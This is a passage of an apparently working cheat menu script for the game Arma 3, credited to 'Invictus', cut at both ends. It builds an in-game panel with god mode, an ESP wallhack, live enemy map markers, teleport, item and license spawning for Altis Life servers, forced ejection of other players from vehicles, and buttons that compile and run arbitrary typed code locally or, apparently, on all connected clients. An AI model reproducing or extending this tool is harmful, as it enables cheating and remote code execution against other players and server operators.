    						[] spawn {
    							{
    								_cur = cursorTarget;
    								if (netID _x != netID player)then{
    									_x moveInDriver _cur;
    								};
    								sleep 0.5;
    								
    								{
    									{
    										moveOut _x
    									};
    								}forEach crew _cur;
    							}forEach allPlayers;
    						};
    					};
    				};
    				
    				case 13:
    				{	
    					if (O_fnc_quickExec)then
    					{	
    						O_fnc_quickExec = false;
    						O_fnc_quickPlayAction = true;
    						cursorTarget playAction "SitDown";
    					}else{
    						if (O_fnc_quickEnd)then
    						{
    							O_fnc_quickEnd = false;
    							O_fnc_quickPlayAction = false;
    							cursorTarget switchMove "FXStandDip" 
    						};
    					};
    				};
    			};
    			sleep 0.075;
    		};
    	};
    };
    
                           
    //3decrypt
    O_fnc_initMenu = {
    	disableSerialization;
    	"dynamicBlur" ppEffectEnable false; 
    	findDisplay 46 createDisplay "RscDisplayMPInterrupt";
    	//waitUntil {!isNull findDisplay 49};
    	
    	_1 = (findDisplay 49) displayCtrl 104; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 302; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 2; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 303; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 307; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 101; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1010; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 103; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1002; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 122; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 301; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 13184; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 6455; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 2351; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 120; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 109; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 523; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 121; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1005; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1000; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1001; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 115099; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 1050; 
    	_1 ctrlShow false;
    	_1 = (findDisplay 49) displayCtrl 114998; 
    	_1 ctrlShow false;
    	
    	
    	"dynamicBlur" ppEffectEnable true; 
    	"dynamicBlur" ppEffectAdjust [1.6];
    	"dynamicBlur" ppEffectCommit 0;
    
    	_display = findDisplay 49;
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    	
    	_back ctrlSetPosition [-0.675,1.1,2.39848,0.198];
    	_back ctrlSetBackgroundColor [0,0,0,0.25];
    	_back ctrlCommit 0.0;
    
    	uiNamespace setVariable ["IGUIBack_1", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    	
    	_back ctrlSetPosition [-0.1125,-0.28,1.275,1.36];
    	_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.15];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_2", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    	
    	_back ctrlSetPosition [-0.675,1.29674,2.403,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_3", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    	
    	_back ctrlSetPosition [-0.675,1.1,0.0025,0.197974];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_4", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,1.1,2.4,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_5", _back];
    	
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,-0.28,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_6", _back];
    	
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.6715,-0.28,0.01,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_7", _back];
    	
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,0.4,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_8", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,-0.28,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_9", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.725,-0.28,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_10", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.725,0.4,0.0015,0.683];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_11", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.125,-0.28,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_12", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.125,0.4,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_13", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,-0.28,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_14", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,0.4,0.0015,0.68];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_15", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,0.394184,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_16", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,0.4,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_17", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.675,1.08,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_18", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,0.4,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_19", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,1.08,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_20", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,0.394184,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_21", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.175,-0.28,0.55,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_22", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.1125,-0.28,0.0015,1.36];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_23", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [1.1625,-0.28,0.0015,1.36];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_24", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.1125,-0.28,1.275,0.0015];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_25", _back];
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    		
    	_back ctrlSetPosition [-0.1125,1.08,1.275,0.0025];
    	_back ctrlSetBackgroundColor [0.6,0,0,1];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["IGUIBack_26", _back];	
    
    	
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [-0.2125,1.2,0.25,0.06];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.45];
    	_back ctrlSetText "Local";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["%1",_text];';
    	
    	uiNamespace setVariable ["RscButtonMenu_1", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.3375,1.2,0.25,0.06];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetText "Get File";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '[] spawn O_fnc_ArmAFile';
    	
    	uiNamespace setVariable ["RscButtonMenu_2", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [1.125,1.2,0.25,0.06];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetText "Global";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["[{%1},true] call O_fnc_ArmA",_text];';
    	
    	uiNamespace setVariable ["RscButtonMenu_3", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.72,0.206079,0.0460789];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetText "Heal";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction 'player setDammage 0; vehicle player setDammage 0; vehicle player setFuel 1000;';
    	
    	uiNamespace setVariable ["RscButtonMenu_4", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.66,0.206079,0.0460789];
    	
    	if (isNil "O_fnc_GodButton")then{
    		_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	}else{
    		_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    	};
    	_back ctrlSetText "GodMode";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction 'if (isNil "O_fnc_GodButton")then{player allowDamage false; O_fnc_GodButton = true; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];}else{player allowDamage true; O_fnc_GodButton = nil; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
    	
    	uiNamespace setVariable ["RscButtonMenu_5", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.78,0.206079,0.0460789];
    	if (isNil "O_fnc_DummyID")then{
    		_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	}else{
    		_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    	};
    	_back ctrlSetText "Dummy";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction 'if (isNil "O_fnc_DummyID")then{(uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65]; [] spawn O_fnc_CPerson}else{_player = O_fnc_DummyID; selectPlayer _player; vehicle _player switchCamera "EXTERNAL"; O_fnc_DummyID = nil; (uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
    	
    	uiNamespace setVariable ["RscButtonMenu_6", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.84,0.206079,0.0460789];
    	if (isNil "O_fnc_MapMarkerButton")then{
    		_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	}else{
    		_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    	};
    	_back ctrlSetText "Map Marker";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '[] spawn{
    		if (isNil "O_fnc_MapMarkerButton")then{
    				(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    		
    				O_fnc_MapMarkerButton = true; 
    				O_fnc_Markers = [];
    				while{!isNil "O_fnc_MapMarkerButton"} do {
    					{
    					   if !(_x in allUnits) then {
    					   deleteMarkerLocal str _x;        
    					   };       
    					} forEach O_fnc_Markers;       
    					
    					O_fnc_Markers = []; 		
    					{
    						if(alive _x && isplayer _x) then {
    							deleteMarkerLocal str _x;         
    							
    							_playmarksss = createMarkerLocal [str _x,getpos _x];         
    							_playmarksss setMarkerTypeLocal "waypoint";         
    							_playmarksss setMarkerPosLocal getPos _x;         
    							_playmarksss setMarkerSizeLocal [0.8,0.8];         
    							_playmarksss setMarkerTextLocal format["%1 - %2",name _x, side _x, netID _x];         
    							_playmarksss setMarkerColorLocal ("ColorGreen");         
    							O_fnc_Markers = O_fnc_Markers + [_x];        
    						};       
    					} forEach allUnits;       
    					sleep 0.5;      
    				};      
    			}else{
    				{
    				  deleteMarkerLocal str _x;
    				} forEach O_fnc_Markers;      
    				O_fnc_MapMarkerButton = nil; 
    				(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    			};
    		};
    	';
    	
    	uiNamespace setVariable ["RscButtonMenu_7", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.9,0.206079,0.0460789];
    	if (isNil "O_fnc_ESPButton")then{
    		_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	}else{
    		_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    	};
    	_back ctrlSetText "ESP";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '
    		if (isNil "O_fnc_ESPButton")then{
    			O_fnc_ESPButton = true;
    			(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
    			
    			onEachFrame {
    				{
    					if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
    							drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45,player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
    					}else{
    						if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
    							drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
    						};
    					};
    				} foreach allUnits;
    			 
    				_mans = nearestobjects [player,["man"],100]; 
    				
    				{
    					if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
    						if(side _x != side player) then {
    							if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
    								drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
    							}else{
    								drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
    							};
    						}else{
    							drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
    					};
    				}foreach _mans; 
    			};	
    		}else{
    			onEachFrame {};
    			O_fnc_ESPButton = nil;
    			(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    		};
    	';
    	
    	uiNamespace setVariable ["RscButtonMenu_8", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,0.96,0.206079,0.0460789];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetText "Teleport";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction 'onMapSingleClick "vehicle player setPos _pos; onMapSingleClick """";"; openMap true;(findDisplay 49) closeDisplay 0;';
    	
    	uiNamespace setVariable ["RscButtonMenu_9", _back];	
    
    	_back = _display ctrlCreate ["RscButtonMenu", -1];
    		
    	_back ctrlSetPosition [0.5125,1.02,0.206079,0.0460789];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetText "Refresh";
    	_back ctrlCommit 0.0;
    	_back buttonSetAction '
    						disableserialization;
    					   _ctrl = uiNamespace getVariable "RscListbox_6";
    					   if(!isNull _ctrl) then {
    						   _ctrl spawn O_fnc_PlayerList;
    					   };
    					';
    	
    	uiNamespace setVariable ["RscButtonMenu_10", _back];	
    
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.1,-0.26,0.3125,0.04];
    	_back ctrlSetText format ["Name: %1",name player];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_1", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.1,-0.2,0.425,0.04];
    	_back ctrlSetText format ["PlayerID: %1",str (getPlayerUID player)];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_2", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.1,-0.14,0.3125,0.04];
    	_back ctrlSetText format ["OwnerID: %1",owner player];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_3", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.225,-0.24,0.2875,0.04];
    	_back ctrlSetText format ["Coded by: Invictus"];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_4", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.8375,-0.14,0.5,0.04];
    	_frames = round(diag_fpsmin) + 10;
    	_back ctrlSetText format ["FPS: %1",_frames];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_5", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.1,-0.08,0.3125,0.04];
    	_back ctrlSetText format ["netID: %1",netID player];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_6", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.8375,-0.08,0.3125,0.04];
    	_back ctrlSetText format ["Server: %1",Servername];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_7", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.225,-0.45,0.6,0.14];
    	_back ctrlSetStructuredText parseText format["<t size='1.25' font='puristaBold' color='#ff0000' valign='bottom' align='center' shadow='true'><t shadowColor='#000000'>Invictus</t>"];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_8", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.5675,-0.24,0.2875,0.04];
    	_back ctrlSetText format ["Functions: 476"];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_9", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.8375,-0.2,0.3125,0.04];
    	_back ctrlSetText format ["Players: %1",count(playableUnits)];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_10", _back];	
    
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [0.8375,-0.26,0.3125,0.04];
    	
    	_damage = getDammage player;
    	
    	_back ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_11", _back];	
    
    	
    	_back = _display ctrlCreate ["RscEdit", -1];
    		
    	_back ctrlSetPosition [-0.207941,1.13797,1.58108,0.0498683];
    	_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
    	_back ctrlSetTextColor [0,0,0,0.5];
    	_back ctrlSetText format ["Enter the Code/File you want to execute/download.."];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscEdit", _back];
    
    	_back = _display ctrlCreate ["RscCombo", -1];
    		
    	_back ctrlSetPosition [0.7625,0.64,0.3875,0.04];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_Subs;
    	_back ctrlAddEventHandler ["LBSelChanged",{_this spawn O_fnc_SubsSelected;}];
    	
    	uiNamespace setVariable ["RscCombo", _back];	
    
    	
    	_back = _display ctrlCreate ["RscTree", -1];
    		
    	_back ctrlSetPosition [1.175,-0.28,0.55,0.674184];
    	_back ctrlSetBackgroundColor [0,0,0,0.2];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_Vehicle;
    	_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_VehicleDbc}];
    
    	uiNamespace setVariable ["RscListbox_1", _back];	
    	
    	_back = _display ctrlCreate ["RscTree", -1];
    		
    	_back ctrlSetPosition [1.175,0.4,0.55,0.68];
    	_back ctrlSetBackgroundColor [0,0,0,0.2];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_altisLifeLicenses;
    	_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeLicensesDbc}];
    	
    	uiNamespace setVariable ["RscListbox_2", _back];	
    
    	_back = _display ctrlCreate ["RscTree", -1];
    		
    	_back ctrlSetPosition [-0.675,0.4,0.55,0.68];
    	_back ctrlSetBackgroundColor [0,0,0,0.2];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_altisLifeItems;
    	_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeItemsDbc}];
    	
    	uiNamespace setVariable ["RscListbox_3", _back];	
    	
    	_back = _display ctrlCreate ["RscTree", -1];
    		
    	_back ctrlSetPosition [-0.675,-0.28,0.55,0.674184];
    	_back ctrlSetBackgroundColor [0,0,0,0.2];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_Waffen;
    	_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_WaffenDbc}];
    	
    	uiNamespace setVariable ["RscListbox_4", _back];	
    	
    	_back = _display ctrlCreate ["RscListbox", -1];
    		
    	_back ctrlSetPosition [-0.1,0,1.25,0.64];
    	_back ctrlSetBackgroundColor [0,0,0,0.2];
    	_back ctrlCommit 0.0;	
    	
    	uiNamespace setVariable ["RscListbox_5", _back];	
    
    	_back = _display ctrlCreate ["RscTree", -1];
    		
    	_back ctrlSetPosition [-0.1,0.66,0.607941,0.404053];
    	_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.25];
    	_back ctrlCommit 0.0;
    	_back call O_fnc_PlayerList;
    	
    	uiNamespace setVariable ["RscListbox_6", _back];
    };
    
    O_fnc_SubLoad = {
    	disableserialization;
    	_ctrl = _this select 0;
    	_array = _this select 1;
    	
    	lbClear _ctrl;
    	{
    		_isToggle = _x select 3;
    		_toggle = _x select 2;
    		_color = [0,0.45,0.84,1];
    		if(_isToggle) then {
    			_value = call compile format["if(isNil '%1') then {%1 = false;};%1",_toggle];
    			if(_value) then {
    				_color = [0,1,0,1];
    			} else {
    				_color = [1,0,0,1];
    			};
    		};
    		
    		_ctrl lbAdd (_x select 0);
    		_ctrl lbSetColor [_forEachIndex,_color];
    	} forEach _array;
    };
    
    O_fnc_SubsSelected = {
    	disableserialization;
    	_index = _this select 1;
    	_item = O_fnc_SubOrder select _index;
    	_array = _item select 1;
    	_ctrl = uiNamespace getVariable "RscListbox_5";
    	[_ctrl,_array] call O_fnc_SubLoad;
    };
    
    O_fnc_Vehicle = {
    	disableSerialization;
    	_ctrl = _this;
    	
    	O_fnc_Cars = [];
    	_cfg = configFile >> "cfgVehicles";
    	
    	for "_i" from 0 to count (_cfg)-1 do {
    		if(isNull _ctrl) exitWith {O_fnc_Cars = nil;};
    		_config = _cfg select _i;
    		if(isClass _config)then{
    			_cname = configName _config;
    			_scope = getNumber(_config >> "scope");
    			_pic = getText(_config >> "picture");
    			_name = getText(_config >> "displayName");
    
    			if (_scope == 2 && (_cname isKindOf "LandVehicle" || _cname isKindOf "Air" || _cname isKindOf "Ship") && _pic !="" &&!((_cname isKindOf"ParachuteBase") || (_cname isKindOf"BIS_Steerable_Parachute"))) then {
    				O_fnc_Cars = O_fnc_Cars + [[_name,_cname,_pic]];
    			};
    		};
    	};
    	
    	{
    		_array = _x;
    	   
    		_text = _array select 0;
    		_data = _array select 1;
    		_image = _array select 2;
    	   
    		_index = _ctrl tvAdd[[],_text];
    		_ctrl tvSetPicture [[_index],_image];
    		_ctrl tvSetData [[_index],_data];
    	} forEach O_fnc_Cars;
    };
    
    O_fnc_altisLifeItems = {
    	disableserialization;
    	_ctrl = _this;
    	
    	if (O_fnc_Modus == "AltisLife")then{
    		O_fnc_invItems = [];
    		
    		if (!isNil "life_licenses")then{
    			if (!isNil "life_inv_items")then{
    				if (!isNil "life_fnc_varToStr")then{
    					{				
    						_name = [_x] call life_fnc_varToStr;
    						O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
    					}foreach life_inv_items;
    				};
    			};
    		}else{
    			if (!isNil "Schnitzel_inv_items")then{
    				if (!isNil "Schnitzel_fnc_varToStr")then{
    					{					
    						_name = [_x] call Schnitzel_fnc_varToStr;
    						O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
    					}foreach Schnitzel_inv_items;
    				};
    			}else{
    				{
    					_var = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "variable");
    					_name = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "displayName");
    					O_fnc_invItems = O_fnc_invItems + [[_name,_var]];
    				}foreach ("true" configClasses (missionConfigFile >> "VirtualItems"));
    			};
    		};
    		
    		{
    			_array = _x;
    		   
    			_text = _array select 0;
    			_data = _array select 1;
    			
    			if (typeName _text == "STRING")then{
    				_index = _ctrl tvAdd[[],_text];
    				_ctrl tvSetData [[_index],_data];
    			};
    		} forEach O_fnc_invItems;
    	}else{
    		
    	};
    };
    
    O_fnc_altisLifeItemsDbc= {
    	disableSerialization;
    	_ctrl = _this;
       
    	_curSelArr = tvCurSel _ctrl;
    	_truepath = [_curSelArr select 0];
    	_data = _ctrl tvData _truepath;
       
    	_iname = _data;
    
    	missionNamespace setVariable[_iname,15];
    };
    
    O_fnc_altisLifeLicenses = {
    	disableserialization;
    	_ctrl = _this;
    	
    	if (O_fnc_Modus == "AltisLife")then{
    		O_fnc_invLicenses = [];
    		
    		if (!isNil "life_licenses")then{
    			if (!isNil "life_fnc_varToStr")then{
    				{		
    					_lVar = (_x select 0);
    					_name = [_lVar] call life_fnc_varToStr;
    					O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
    				}foreach life_licenses;
    			};
    		}else{
    			if (!isNil "Schnitzel_licenses")then{
    				if (!isNil "Schnitzel_fnc_varToStr")then{
    					{		
    						_lVar = (_x select 0);
    						_name = [_lVar] call Schnitzel_fnc_varToStr;
    						O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
    					}foreach Schnitzel_licenses;
    				};
    			};
    		};
    		
    		{
    			_array = _x;
    
    			_text = _array select 0;
    			_data = _array select 1;
    		   
    			if (typeName _text == "STRING")then{
